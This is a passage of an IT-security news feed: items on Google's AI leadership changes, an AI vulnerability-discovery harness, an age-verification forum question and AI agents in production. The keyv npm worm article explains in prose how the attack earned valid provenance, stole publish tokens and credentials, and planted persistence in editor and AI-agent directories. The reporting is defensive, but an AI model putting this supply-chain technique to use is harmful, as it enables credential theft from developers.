<title><![CDATA[Google Overhauls AI Leadership As DeepMind CEO Steps Aside]]></title>
<description><![CDATA[Google is reshuffling its AI leadership as Demis Hassabis steps away from day-to-day management of DeepMind to become chairman and Alphabet's chief scientist, while CTO Koray Kavukcuoglu takes operational control. Meanwhile, longtime chief scientist Jeff Dean and several prominent researchers are...]]></description>
<link>https://tsecurity.de/de/3706628/it-security-nachrichten/google-overhauls-ai-leadership-as-deepmind-ceo-steps-aside/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706628/it-security-nachrichten/google-overhauls-ai-leadership-as-deepmind-ceo-steps-aside/</guid>
<pubDate>Wed, 05 Aug 2026 20:22:46 +0200</pubDate>
<content:encoded><![CDATA[Google is reshuffling its AI leadership as Demis Hassabis steps away from day-to-day management of DeepMind to become chairman and Alphabet's chief scientist, while CTO Koray Kavukcuoglu takes operational control. Meanwhile, longtime chief scientist Jeff Dean and several prominent researchers are leaving to launch their own company. Axios reports: Hassabis will add the title of chief scientist for Google parent company Alphabet and also continue to lead Isomorphic Labs, the company's AI drug discovery spinoff. Koray Kavukcuoglu, the current chief technology officer of Google DeepMind will serve as senior VP of the unit, reporting to CEO Sundar Pichai.
 
Dean, a 27-year Google veteran is starting Discovery Loop, an independent publicity benefit corporation in which Google will be an investor and cloud provider. Joining him in that effort are Google senior fellow Sanjay Ghemawat as well as Oriol Vinyals, a DeepMind VP and Quoc Le, a Google Brain co-founder.
 
[...] In an interview with The New York Times, Dean indicated that leaving Google, a public company, gives him more leeway to focus on scientific discoveries associated with AI as well. "We might make decisions that are not necessarily in the company's purist financial interests," he told NYT. "I've been working towards AGI my whole life and now, like many of you, I feel it is close at hand," Hassabis wrote. "It's critical that we collectively get the next steps right to ensure this all goes well for humanity and we usher in an incredible new age of discovery and wonder."
 
"With this backdrop, I've decided that now is the right time for me to hand over my day-to-day operational responsibilities at GDM, so that I have the time and space to focus on the big picture and help influence what is to come to the best of my ability"<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Google+Overhauls+AI+Leadership+As+DeepMind+CEO+Steps+Aside%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F08%2F05%2F1718218%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F08%2F05%2F1718218%2Fgoogle-overhauls-ai-leadership-as-deepmind-ceo-steps-aside%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/08/05/1718218/google-overhauls-ai-leadership-as-deepmind-ceo-steps-aside?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Interview mit Seppmail - E-Mail-Sicherheit in der Cloud - Netzpalaver]]></title>
<description><![CDATA[4:04 Cyberangriffe werden durch KI raffinierter. Wie entwickeln sich die Anforderungen an Cloud-Sicherheitslösungen, und welche Rolle spielen dabei ...]]></description>
<link>https://tsecurity.de/de/3706577/it-security-nachrichten/interview-mit-seppmail-e-mail-sicherheit-in-der-cloud-netzpalaver/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706577/it-security-nachrichten/interview-mit-seppmail-e-mail-sicherheit-in-der-cloud-netzpalaver/</guid>
<pubDate>Wed, 05 Aug 2026 19:50:49 +0200</pubDate>
<content:encoded><![CDATA[4:04 Cyberangriffe werden durch KI raffinierter. Wie entwickeln sich die Anforderungen an Cloud-Sicherheitslösungen, und welche Rolle spielen dabei ...]]></content:encoded>
</item>
<item>
<title><![CDATA[The Shai-Hulud npm worm didn't fake its security check — it earned a legitimate one]]></title>
<description><![CDATA[An attacker on Tuesday took over the GitHub account of the developer who maintains keyv, a small key-value storage library that npm serves roughly 127 million times a week. Within hours, poisoned versions of keyv and its sibling caching packages were live on npm, carrying a credential-stealing wo...]]></description>
<link>https://tsecurity.de/de/3706411/it-nachrichten/the-shai-hulud-npm-worm-didnt-fake-its-security-check-it-earned-a-legitimate-one/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706411/it-nachrichten/the-shai-hulud-npm-worm-didnt-fake-its-security-check-it-earned-a-legitimate-one/</guid>
<pubDate>Wed, 05 Aug 2026 19:31:14 +0200</pubDate>
<content:encoded><![CDATA[<p>An attacker on Tuesday took over the GitHub account of the developer who maintains <a href="https://keyv.org/">keyv</a>, a small key-value storage library that <a href="https://www.npmjs.com/">npm</a> serves roughly 127 million times a week. Within hours, poisoned versions of keyv and its sibling caching packages were live on npm, carrying a credential-stealing worm. By midday, <a href="https://www.aikido.dev/blog/keyv-and-friends-compromised-in-npm-supply-chain-attack">security firm Aikido</a> counted at least 868 compromised packages across 1,381 versions, together carrying over two billion monthly installs, a total still climbing. <a href="https://jfrog.com/">JFrog</a> independently traced the campaign across more than 400 packages and 1,700 poisoned versions. </p><p>The part that should worry every security team is not the download count. It is the paperwork. The initial poisoned releases shipped with valid provenance signatures, the cryptographic attestation the industry built to prove a package came from where it claims. The worm did not forge that signature. It earned it, the way a legitimate release would.</p><p>A day earlier, <a href="https://www.crowdstrike.com/en-us/">CrowdStrike</a> published its <a href="https://www.crowdstrike.com/en-us/blog/crowdstrike-2026-threat-hunting-report/">2026 Threat Hunting Report</a> and predicted this exact shape of attack. A section titled "Software Supply Chain Attacks Evolve" names the developer ecosystem itself, package registries, continuous integration pipelines, container registries, and the extensions developers load into their code editors, as the surface adversaries now go after directly. It puts npm packages at the center of that shift, tied to 87% of the malicious software registry threats CrowdStrike tracked in the first half of the year. The keyv worm turned that finding into a live incident inside 24 hours.</p><p>For CISOs and security architects, the two events read as one message. The trust signals built into the software supply chain can be satisfied by an attacker who owns the right account, and the window between disclosure and exploitation has collapsed past what monthly patching absorbs.</p><h2><b>How the worm earned its provenance</b></h2><p>Walk through the mechanism and it becomes clear why provenance did not help. According to Aikido's analysis, the attacker pushed malicious files straight to the main branch of each repository the maintainer controlled, then immediately cut a new release. Because the release ran through the maintainer's own GitHub Actions workflow, npm generated a legitimate provenance attestation for it. To anyone auditing supply chain integrity, the poisoned build looked authentic. <a href="https://www.wiz.io/blog/keyv-and-cacheable-npm-supply-chain-attack">Wiz confirmed the release path independently</a>, and in one targeted path documented by JFrog the worm went further. Inside a GitHub Actions run tied to opensearch-js, it requested an OIDC token, exchanged it for a publish token, and minted a Sigstore bundle through Fulcio and Rekor so the malicious tarball carried provenance generated from the trusted workflow context itself.</p><p>What turned a single account takeover into a registry-wide event was the spread. Once a poisoned package landed in a developer's environment or a build runner, its payload harvested every credential it could reach, then used any npm publishing tokens it found to backdoor other packages that the victim controlled. Each compromised maintainer became an unwitting distribution node, with Aikido watching dozens of newly infected packages appear every few minutes. The malware exfiltrated stolen secrets to public GitHub repositories tagged "Shai-Hulud: Here We Go Again," the signature that named the campaign.</p><p>This blast radius reached well beyond obscure utilities. Because keyv sits as a transitive dependency under many popular tools, the worm rode those chains into packages under corporate npm scopes, <a href="https://www.aikido.dev/blog/keyv-and-friends-compromised-in-npm-supply-chain-attack">with releases tied to Deliveroo, Qlik, and Picsart among the confirmed hits</a>. Developers at those companies never installed keyv on purpose. They only depended on something that depended on it, layers down a tree no one reviews by hand.</p><p>Credential extractors inside the payload reveal what the attackers were actually after, and it was never the caching libraries. <a href="https://research.jfrog.com/post/shai-hulud-is-back-august/">JFrog, which traced the compromise across keyv and cacheable</a>, and <a href="https://www.wiz.io/">Wiz</a> both found the malware harvesting cloud access keys, CI secrets, and the tokens that authenticate to production infrastructure. The package compromise was the vehicle, and the cloud behind it was always the destination. CrowdStrike found cloud-conscious criminal activity rose 171% in the first half of 2026, and supply chain compromise is one of the paths feeding it.</p><h2><b>The target was the developer's own tools</b></h2><p>Stealing was not the end of it, because the worm also planted itself where developers work. Wiz found that the malware drops persistence payloads into two directories on machines it reaches, one for Visual Studio Code and one named .claude, the working directory for Anthropic's Claude Code agent. The setup files placed there mean the payload can run when a developer opens the infected project in their editor or starts an AI coding session, not only at install time. This is the developer ecosystem CrowdStrike named, hit precisely, the editor and the AI assistant a developer trusts most and inspects least.</p><h2><b>The fix costs nothing</b></h2><p>One control would have blunted the worm, and it costs nothing. Adam Meyers, who leads Counter Adversary Operations at CrowdStrike, laid it out in a pre-release interview under embargo. "Secure the software supply chain," he said. "Simple things like not allowing any of your tooling to pull down the most recent dependencies, but maybe last week's dependencies." The delay is the whole point. "You're still going to have pretty up-to-date stuff, but you won't have that risk of pulling down something that was updated minutes ago, and now you've just onboarded some sort of malicious tooling." A release held back a week gives the security community time to catch a poisoning that would otherwise reach every downstream build within minutes.</p><p>That guidance is not hypothetical. npm shipped this capability in February 2026 with CLI version 11.10.0 as a <a href="https://docs.npmjs.com/cli/v11/using-npm/config#min-release-age">setting called min-release-age</a>. pnpm got there five months earlier with <a href="https://craigory.dev/blog/2026-05-29/package-manager-release-cooldown/">minimumReleaseAge</a>. Either one lets a team reject any package version published more recently than a threshold they set. The keyv worm is the argument for turning it on.</p><p>Meyers pairs the cooldown with a second discipline. Patch what attackers are exploiting before anything else. "You need to kind of focus your vulnerability mitigation and patching around the exploits that are known to the exploiter," he told VentureBeat. He pointed to a resource most teams underuse. "CISA here in the United States puts out something called the Known Exploited Vulnerability Catalog," updated weekly with flaws confirmed under active attack, government-maintained and free. "If you patch those vulnerabilities first, you're going to probably be safer."</p><p>Meyers put hard numbers to the speed problem, numbers that do not appear in the published report. All of 2025 saw roughly 48,200 vulnerabilities registered as CVEs. When he checked the week before the briefing, 2026 had already reached 43,000. </p><p>That volume breaks monthly patch cycles. "They cannot operate in 30-day patch windows," he told VentureBeat. "As soon as a vulnerability is disclosed, they need to be moving towards patching or mitigating that particular issue." CrowdStrike's report pairs that trajectory with a finding that 88% of the exploitation it observed against vulnerabilities with a public proof of concept happened inside 48 hours of the code going public.</p><h2><b>GitHub hardened half the problem</b></h2><p>GitHub, which owns npm, <a href="https://github.blog/changelog/2025-09-29-strengthening-npm-security-important-changes-to-authentication-and-token-management/">has spent the past year hardening the registry</a> against precisely this class of attack. The platform made two-factor authentication mandatory for publishing, revoked old never-expiring access tokens, and added trusted publishing so build systems push without stored credentials. Then in <a href="https://thehackernews.com/2026/07/npm-12-disables-install-scripts-by.html">npm version 12</a>, released in mid-2026, it flipped the most consequential default. The preinstall, install, and postinstall hooks that most registry malware relies on to execute the moment a package lands now require explicit approval.</p><p>That change matters directly here because the keyv worm executes through a preinstall script, and npm 12 cuts both ways. JFrog confirmed that on npm 12 or newer, where preinstall hooks are off by default, the malware does not run at install time. Every organization still on an older npm, and most enterprises upgrade slowly, remained exposed. </p><p>GitHub's defenses hardened the wrong half of the attack more than the right one, making it harder for a malicious package to execute once it lands while doing less to stop an attacker from earning the right to publish. Account takeover remains the root cause. Kiran Raj, a security engineer at <a href="https://www.endorlabs.com/">Endor Labs</a>, said he saw the same pattern, an npm publishing token stolen and reused, in most cases a CI or service-account token harvested from a build runner that had itself installed a poisoned dependency. The worm never had to defeat provenance. It needed one set of valid credentials, and npm's own publishing automation did the rest.</p><p>Provenance attestation answers whether a package came from the pipeline it claims. It does not answer whether the human or token that triggered that pipeline was supposed to. Identity governance, who can publish and what their credentials can reach, is the weaker control. CrowdStrike names abuse of legitimate developer identities as the primary entry point for supply chain compromise. Meyers put it plainly. "They log in, they don't hack in," he said. The keyv maintainer's account was that identity, and the trusted-publishing machinery did the rest on the attacker's behalf.</p><h2><b>Why the boardroom is next</b></h2><p>The pressure to fix this will not come only from threat reports. It is about to come through contracts. Kayne McGladrey, a senior member of the IEEE, told VentureBeat in an exclusive interview that enterprises are starting to push software security obligations onto the vendors and maintainers in their supply chains. "We're going to start seeing companies trying to contractually shift liability to other parties in their supply chain," he told VentureBeat. "We're using your technology, but we want you to do the security for it." </p><p>He compared it to how the Department of Defense forced its vendors to raise their game through the CMMC certification program. "Get better at cybersecurity if you want to sell us stuff." For any company shipping software on open-source dependencies, that turns provenance, identity, and patch discipline into contractual exposure.</p><h2><b>What to do Monday morning</b></h2><p>For a security team deciding what to do about this on Monday morning, the actions divide into five moves that map to the five ways this attack class operates. Each is a governance decision a board can fund and audit, not a tool a developer installs alone.</p><table><tbody><tr><td><p><b>How the attack operates</b></p></td><td><p><b>What the keyv worm showed</b></p></td><td><p><b>What the board funds and audits</b></p></td></tr><tr><td><p>The developer ecosystem is the target.</p></td><td><p>CrowdStrike names package registries, CI/CD pipelines, container registries, and IDE extensions as the surface adversaries hit directly. The keyv payload planted persistence hooks in developer editor and AI tooling directories, not just the package.</p></td><td><p>Require provenance attestation and trusted publishing before any dependency or editor extension enters a build. Give the board a standing inventory of registries, pipeline components, and extensions in scope. Treat developer tooling as an audited supplier category.</p></td></tr><tr><td><p>Automation makes the spread fast.</p></td><td><p>One stolen credential seeded a cascade that reached at least 868 packages and two billion monthly installs in hours, jumping between organizations every few minutes. The worm ran through a preinstall script, the install-time default npm v12 disables.</p></td><td><p>Turn on npm's min-release-age so tooling pulls last week's versions, not releases published minutes ago. Require npm v12 or install-script blocking across the build estate. Plan for simultaneous multi-package compromise in resilience testing.</p></td></tr><tr><td><p>Identity is the entry point.</p></td><td><p>The attack began with one hijacked GitHub maintainer account. Provenance signed the poisoned releases because they ran through the maintainer's own pipeline. Valid credentials, not a broken control, did the damage.</p></td><td><p>Mandate phishing-resistant multifactor authentication for every maintainer with publish rights. Prefer short-lived scoped tokens over long-lived ones. Report developer and machine identity coverage to the board as a countable liability.</p></td></tr><tr><td><p>The cloud is the real destination.</p></td><td><p>The payload carried targeted extractors for cloud access keys, CI secrets, and production infrastructure tokens. The package compromise was the vehicle. Cloud-conscious criminal activity rose 171% in the first half of 2026.</p></td><td><p>Classify developer workstations and CI runners as tier-zero assets with domain-controller rotation standards. Document cloud credential rotation in hours after any supply chain exposure. Report long-lived cloud keys with reduction targets.</p></td></tr><tr><td><p>The patch window has collapsed.</p></td><td><p>CrowdStrike observed 88% of exploitation with a public proof of concept inside 48 hours. Meyers put 2026 CVE registrations at 43,000 by late July against 48,200 for all of 2025. The keyv worm was live within hours, with no CVE to wait for.</p></td><td><p>Reset patch service levels for internet-facing systems from days to hours and fund continuous emergency patching as a budgeted operation. Give the audit committee time-from-disclosure-to-mitigation as a standing metric. Build defensibility on documented pre-patch compensating controls.</p></td></tr></tbody></table><p><i>Package counts reflect Aikido and JFrog tracking as of August 4 and were climbing at press time.</i></p><p>The keyv worm will be contained. Compromised versions pulled, stolen tokens rotated, affected packages republished clean. What will not change is the shape of the exposure it revealed. The developer ecosystem is now a primary target, the automation that makes it productive is the same automation that makes a worm fast, and the trust signals meant to secure it can be satisfied by anyone holding the right credentials. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Infinigate: Wachstum braucht Relevanz - it-business]]></title>
<description><![CDATA[Im Interview spricht der ehemalige Kyndryl-Deutschland-Chef über seine Wachstumsagenda, relevante Security-Trends und den Anspruch, Partner gezielter ...]]></description>
<link>https://tsecurity.de/de/3706322/it-security-nachrichten/infinigate-wachstum-braucht-relevanz-it-business/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706322/it-security-nachrichten/infinigate-wachstum-braucht-relevanz-it-business/</guid>
<pubDate>Wed, 05 Aug 2026 18:00:53 +0200</pubDate>
<content:encoded><![CDATA[Im Interview spricht der ehemalige Kyndryl-Deutschland-Chef über seine Wachstumsagenda, relevante <b>Security</b>-Trends und den Anspruch, Partner gezielter ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Palo Alto Networks at Black Hat: How AI erased the 50-day patch window]]></title>
<description><![CDATA[Data released at this week’s Black Hat security conference suggests the era of manual zero-day hunting and 50-day patch windows is coming to an end. This is a double-edged sword for security professionals: Vulnerabilities can now be found at machine speed, perhaps bringing the discovery time even...]]></description>
<link>https://tsecurity.de/de/3706189/it-security-nachrichten/palo-alto-networks-at-black-hat-how-ai-erased-the-50-day-patch-window/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706189/it-security-nachrichten/palo-alto-networks-at-black-hat-how-ai-erased-the-50-day-patch-window/</guid>
<pubDate>Wed, 05 Aug 2026 16:56:43 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Data released at this week’s <a href="https://blackhat.com/us-26/">Black Hat security conference</a> suggests the era of manual zero-day hunting and 50-day patch windows is coming to an end. This is a double-edged sword for security professionals: Vulnerabilities can now be found at machine speed, perhaps bringing the discovery time eventually to zero, but it also means that AI-driven threats require autonomous operations to protect the organization.</p>



<p class="wp-block-paragraph">At the show, <a href="https://www.paloaltonetworks.com/">Palo Alto Networks</a> unveiled research and platform updates signaling a structural shift in cybersecurity. By deploying an autonomous multi-model AI harness called NOVA (Network and Open-Source Vulnerability Analyzer), Palo Alto demonstrated that frontier AI models can now audit codebases, write proofs of concept, and validate severe security flaws at speeds and scales previously unimaginable. </p>



<p class="wp-block-paragraph">To counter that rapidly evolving threat landscape, the vendor simultaneously launched PAN-OS 12.2 Ceres, the operating system for Palo Alto’s firewalls. The release introduces Advanced Virtual Patching, Advanced IP Defense, and autonomous Network Security Agents that neutralize AI-generated exploits at the network level within hours, not months.</p>



<h2 class="wp-block-heading">The news in brief: scale, speed, and platform defense</h2>



<p class="wp-block-paragraph">The headline numbers from Palo Alto’s research team illustrate the sheer velocity of AI-driven vulnerability discovery:</p>



<ul class="wp-block-list">
<li><strong>14,090 confirmed vulnerabilities</strong>: Identified across 3,915 open-source software (OSS) projects in just two months.</li>



<li><strong>99.4% zero-day flaws</strong>: Virtually all identified vulnerabilities were previously unreported in public databases.</li>



<li><strong>39.7% high or critical severity</strong>: Under CVSS 4.0 metrics, nearly 5,600 findings pose severe real-world operational risks.</li>



<li><strong>PAN-OS 12.2 Ceres rollout</strong>: Includes 55+ innovations, highlighted by Advanced Virtual Patching (delivering pre-patch protections via “vaulted protection” engines within hours), Advanced IP Defense (blocking direct-to-IP and proxy evasion attacks), and six role-specific AI Network Security Agents.</li>
</ul>



<h2 class="wp-block-heading">The deep dive: challenges of cybersecurity in the frontier era</h2>



<p class="wp-block-paragraph">For years, defenders relied on structural asymmetry. Finding a zero-day flaw was labor-intensive, requiring elite human security researchers to spend weeks or months on manual reverse engineering. That asymmetry has vanished due to the speed of AI advances and the new challenges posed by the frontier era.</p>



<h4 class="wp-block-heading">1. The death of the patch window</h4>



<p class="wp-block-paragraph">Historically, IT teams had a grace period—an average exposure window of about 55 days to test, stage, and deploy vendor software updates before widespread scanning and exploitation began. Frontier AI has crushed that timeline. Adversaries do not need access to state-of-the-art supercomputers to automate exploit development; off-the-shelf open-weight and proprietary models can analyze public commit logs, reverse-engineer fixes, and generate working weaponized code within hours.</p>



<h4 class="wp-block-heading">2. Beyond memory corruption: the 92% problem</h4>



<p class="wp-block-paragraph">Traditional automated security scanning relied heavily on fuzzing, which involves pounding a binary with random inputs to trigger memory crashes, null pointer dereferences, or buffer overflows. NOVA’s research reveals that fuzzing-friendly bugs accounted for only 8% of total AI discoveries.</p>



<p class="wp-block-paragraph">The remaining 92% comprised complex semantic and architectural flaws:</p>



<ul class="wp-block-list">
<li>PHP, Python and Java: Concentrated heavily in broken authorization and access control logic (up to 60% of Python flaws).</li>



<li>JavaScript/TypeScript: Heavy concentration in code injection, prototype pollution, and Server-Side Request Forgery (SSRF).</li>



<li>Go: Path traversal and file access issues dominated due to its frequent deployment in microservices and file routing engines.</li>
</ul>



<p class="wp-block-paragraph">AI models do not just look for crashes; they analyze the business logic of software, identifying subtle authorization bypasses that static analyzers consistently miss.</p>



<h4 class="wp-block-heading">2. The power of multi-model complementarity</h4>



<p class="wp-block-paragraph">No single AI model catches everything. NOVA tested an ensemble of frontier models across codebases and found strong model complementarity. In controlled evaluations, Model A found 235 vulnerabilities (185 unique to it), while Model D found 139 (93 unique). Because different models reason about code structures differently, attackers running multiple, distinct AI agents simultaneously will uncover exponentially larger attack surfaces that single-scanner defensive environments miss. </p>



<h2 class="wp-block-heading">How Palo Alto Networks flips the script</h2>



<p class="wp-block-paragraph">To survive machine-speed discovery, defensive technology must operate autonomously across the entire vulnerability lifecycle.</p>



<ul class="wp-block-list">
<li><strong>Autonomous agentic discovery (NOVA)</strong>: NOVA uses an iterative agentic loop. Scoping agents define the scan strategy; discovery agents run parallel code analysis; proof-of-concept agents validate findings deterministically in isolated sandboxes (gVisor/VMs); and gatekeeper agents confirm exploitability before generating remediations. </li>



<li><strong>Advanced Virtual Patching</strong>: With PAN-OS 12.2 Ceres, Palo Alto Networks deploys inline network protection via its Advanced Threat Prevention (ATP) engines within hours of zero-day discovery. By enforcing network-level filtering before vendor code-level patches are available, organizations achieve a “vaulted protection” shield without forcing system reboots or causing downtime. </li>



<li><strong>Ecosystem and supply chain collaboration</strong>: Palo Alto Networks proactively reports findings upstream to open-source maintainers, project clearinghouses (such as Project Lightwell and Akrites), and enterprise software partners to address underlying vulnerabilities at the source.</li>
</ul>



<h2 class="wp-block-heading">Advice for IT and security professionals</h2>



<p class="wp-block-paragraph">The shift to AI-driven threat discovery means security leaders can no longer rely on traditional patch management cadences. CISOs and IT administrators should take immediate steps to adapt:</p>



<ul class="wp-block-list">
<li><strong>Prioritize network-layer virtual patching</strong>: Stop assuming software patches can be tested and deployed quickly enough. Implement inline virtual patching at the firewall, SASE, and perimeter layers to block exploit traffic long before host-level updates are applied.</li>



<li><strong>Audit open-source supply chains beyond direct imports</strong>: Static dependency checking is insufficient. Map deep transitive dependencies. As NOVA proved, a single low-level package flaw (such as an IP parser or zip extractor) can expose thousands of downstream applications.</li>



<li><strong>Shift focus to identity and access control logic</strong>: Because 92% of AI-discovered bugs target application logic and authorization rather than simple memory crashes, re-evaluate application security testing. Prioritize dynamic API testing and identity-centric access rules.</li>



<li><strong>Prepare for post-quantum and evasive IP threats</strong>: Upgrade infrastructure to handle direct-to-IP command-and-control bypasses and use automated management tools to prepare for shorter cryptographic certificate lifecycles.</li>



<li><strong>Embrace human-in-the-loop automation</strong>: Use specialized AI administrative agents for routine network triage and rule configuration, reserving high-value human expertise for complex threat modeling, creative architectural design, and strategic oversight.</li>
</ul>



<p class="wp-block-paragraph">The era of AI vulnerability discovery is not a distant future—it is fully operational today. Securing the modern enterprise requires matching machine-speed discovery with machine-speed prevention. It’s time for security pros to stop fearing AI-driven security and embrace it, as the only way to combat AI-driven threats is with AI-enabled defense.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Interview: Cyberangriffe treffen das Kerngeschäft - E3-Magazin]]></title>
<description><![CDATA[Josko Jeraj, Manage Now: Cybersecurity ist längst mehr als IT-Thema – sie ist ein zentraler Aspekt des Geschäftsrisikos. Angriffe sind organisiert, ...]]></description>
<link>https://tsecurity.de/de/3706118/it-security-nachrichten/interview-cyberangriffe-treffen-das-kerngeschaeft-e3-magazin/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706118/it-security-nachrichten/interview-cyberangriffe-treffen-das-kerngeschaeft-e3-magazin/</guid>
<pubDate>Wed, 05 Aug 2026 16:19:12 +0200</pubDate>
<content:encoded><![CDATA[Josko Jeraj, Manage Now: Cybersecurity ist längst mehr als <b>IT</b>-Thema – sie ist ein zentraler Aspekt des Geschäftsrisikos. Angriffe sind organisiert, ...]]></content:encoded>
</item>
<item>
<title><![CDATA[OS Level age verification]]></title>
<description><![CDATA[So here recently I heard that Illinois would be rolling out OS level age verification and website age verification by 2028. That sucks, but if we think about this, would this really affect us? For example, Linux is not a OS. It is a Kernel. So is there a chance you could use that as a loophole? I...]]></description>
<link>https://tsecurity.de/de/3705787/linux-tipps/os-level-age-verification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705787/linux-tipps/os-level-age-verification/</guid>
<pubDate>Wed, 05 Aug 2026 14:17:45 +0200</pubDate>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>So here recently I heard that Illinois would be rolling out OS level age verification and website age verification by 2028. That sucks, but if we think about this, would this really affect us? For example, Linux is not a OS. It is a Kernel. So is there a chance you could use that as a loophole?</p> <p>If not then I wanna ask about another thing. I was recently on Wikipedia downloading a bunch of Linux distros that I wanted to try from a Live USB since I am still fairly new to Linux and have only downloaded one distro and haven't experimented with others. While I was scrolling I came across a Article on Wiki called "Ageless Linux". That caught my interest and I visited the website. What I want to know is if something like that would really work? I looked through the website and it is not exactly an distro that you would boot onto a USB, but rather a script. I don't know anything about coding, so I can't verify how the script would really work or the authenticity of the script itself, so that is why I thought I would bring it to y'alls attention for others to see if it is a good script that would work or something that could possibly be malicious as well as looking at other options on how to avoid this.</p> <p>Article for Age Verification:<br> <a href="https://evanstonroundtable.com/2026/04/16/state-lawmakers-advance-bill-requiring-age-verification-on-all-online-devices-and-websites/">https://evanstonroundtable.com/2026/04/16/state-lawmakers-advance-bill-requiring-age-verification-on-all-online-devices-and-websites/</a></p> <p>Ageless Linux wiki page:</p> <p><a href="https://en.wikipedia.org/wiki/Ageless_Linux">https://en.wikipedia.org/wiki/Ageless_Linux</a></p> <p>Ageless Linux website:</p> <p><a href="https://agelesslinux.org/index.html">https://agelesslinux.org/index.html</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Oily_Oaf"> /u/Oily_Oaf </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1vg5o0t/os_level_age_verification/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1vg5o0t/os_level_age_verification/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[The production assumptions AI just broke]]></title>
<description><![CDATA[Over the past decade, I have worked through multiple technology transitions, from virtualization and cloud adoption to containers and large-scale automation. Each changed how enterprise IT operated, but they all shared one characteristic: production systems still behaved in broadly predictable wa...]]></description>
<link>https://tsecurity.de/de/3705488/it-security-nachrichten/the-production-assumptions-ai-just-broke/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705488/it-security-nachrichten/the-production-assumptions-ai-just-broke/</guid>
<pubDate>Wed, 05 Aug 2026 12:14:26 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past decade, I have worked through multiple technology transitions, from virtualization and cloud adoption to containers and large-scale automation. Each changed how enterprise IT operated, but they all shared one characteristic: production systems still behaved in broadly predictable ways. AI is the first shift I have seen that changes the behavior of production itself.</p>



<p class="wp-block-paragraph">In the infrastructure environments I have worked with, production has always depended on a few basic assumptions. Workloads are tied to applications. Applications have owners. Traffic patterns are reasonably predictable. Change windows are planned. Incident response starts with a known service, a known dependency or a known user action.</p>



<p class="wp-block-paragraph">AI agents challenge each one of those assumptions.</p>



<p class="wp-block-paragraph">An AI agent may initiate work without a human clicking a button. It may call APIs at machine speed, move across systems to complete a task, retry failed actions aggressively or generate unusual traffic patterns that look nothing like a traditional application flow. The individual action may be legitimate, but the operational behavior is different.</p>



<p class="wp-block-paragraph">That is the shift CIOs should pay attention to. The question is not only whether AI can be useful in enterprise operations. The harder question is whether production environments are ready for AI-driven activity that behaves less like an application and more like an autonomous participant in the enterprise.</p>



<h2 class="wp-block-heading">Production was built around predictable workloads</h2>



<p class="wp-block-paragraph">For years, production operations have been built around patterns that are easier to manage because they are relatively stable. A user logs in. An application receives a request. A service calls another service. Monitoring tools evaluate latency, errors, saturation and availability. Incident teams look for deviations from known baselines.</p>



<p class="wp-block-paragraph">This model worked because most production systems had a recognizable shape. Even in complex environments, teams could usually identify the application owner, the expected request flow, the normal volume range and the rollback path when something failed.</p>



<p class="wp-block-paragraph">AI workloads do not always behave that way. A single agent completing a business task may generate a burst of API calls, invoke several backend services, open and close sessions quickly and repeat requests in a pattern that looks abnormal when compared with human activity. From a traditional monitoring perspective, this can look like abuse, instability or an integration defect even when the agent is doing exactly what it was asked to do.</p>



<p class="wp-block-paragraph">The opposite problem is just as serious. If teams relax controls broadly to avoid blocking legitimate AI activity, they may also create room for real abuse to hide inside higher-volume machine traffic. That is not a model issue. It is an operational assumption issue.</p>



<p class="wp-block-paragraph">The <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST AI Risk Management Framework</a> emphasizes that AI risk must be understood across the full lifecycle of AI systems, including design, deployment, use and evaluation. For CIOs, that lifecycle needs to include production operations, not just model selection or application launch.</p>



<p class="wp-block-paragraph">In practice, this means AI cannot be treated as a normal application feature once it begins triggering workflows, touching data, generating traffic or interacting with operational systems. It becomes part of the production environment. That requires a different level of readiness.</p>



<p class="wp-block-paragraph">I have seen similar transitions before with cloud and automation. The first wave is usually tool-focused. Teams ask what the technology can do. The second wave is operational. Teams discover what the technology changes. AI is entering that second phase now.</p>



<h2 class="wp-block-heading">AI changes incident response and observability</h2>



<p class="wp-block-paragraph">When production breaks, teams need to answer a few basic questions quickly. What changed? What system is affected? What users are impacted? Which dependency is failing? Can we roll back safely?</p>



<p class="wp-block-paragraph">AI makes those questions harder because the cause of an incident may not be a code deployment, infrastructure outage or human-initiated workflow. It may be an agent making a decision that is technically allowed but operationally unexpected.</p>



